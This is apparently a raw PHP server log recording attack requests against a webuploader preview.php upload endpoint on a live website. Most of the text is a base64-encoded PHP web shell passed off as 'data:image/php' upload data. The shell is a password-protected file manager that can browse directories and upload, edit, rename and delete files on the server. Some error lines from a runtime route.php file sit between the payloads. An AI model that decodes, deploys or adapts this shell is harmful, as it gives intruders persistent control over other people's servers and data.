C0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:06+08:00 ] 119.42.146.234 POST 51tianwei.com/library/webuploader/0.1.15/server/preview.php [运行时间:0.002405s] [吞吐率:415.77req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'library', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW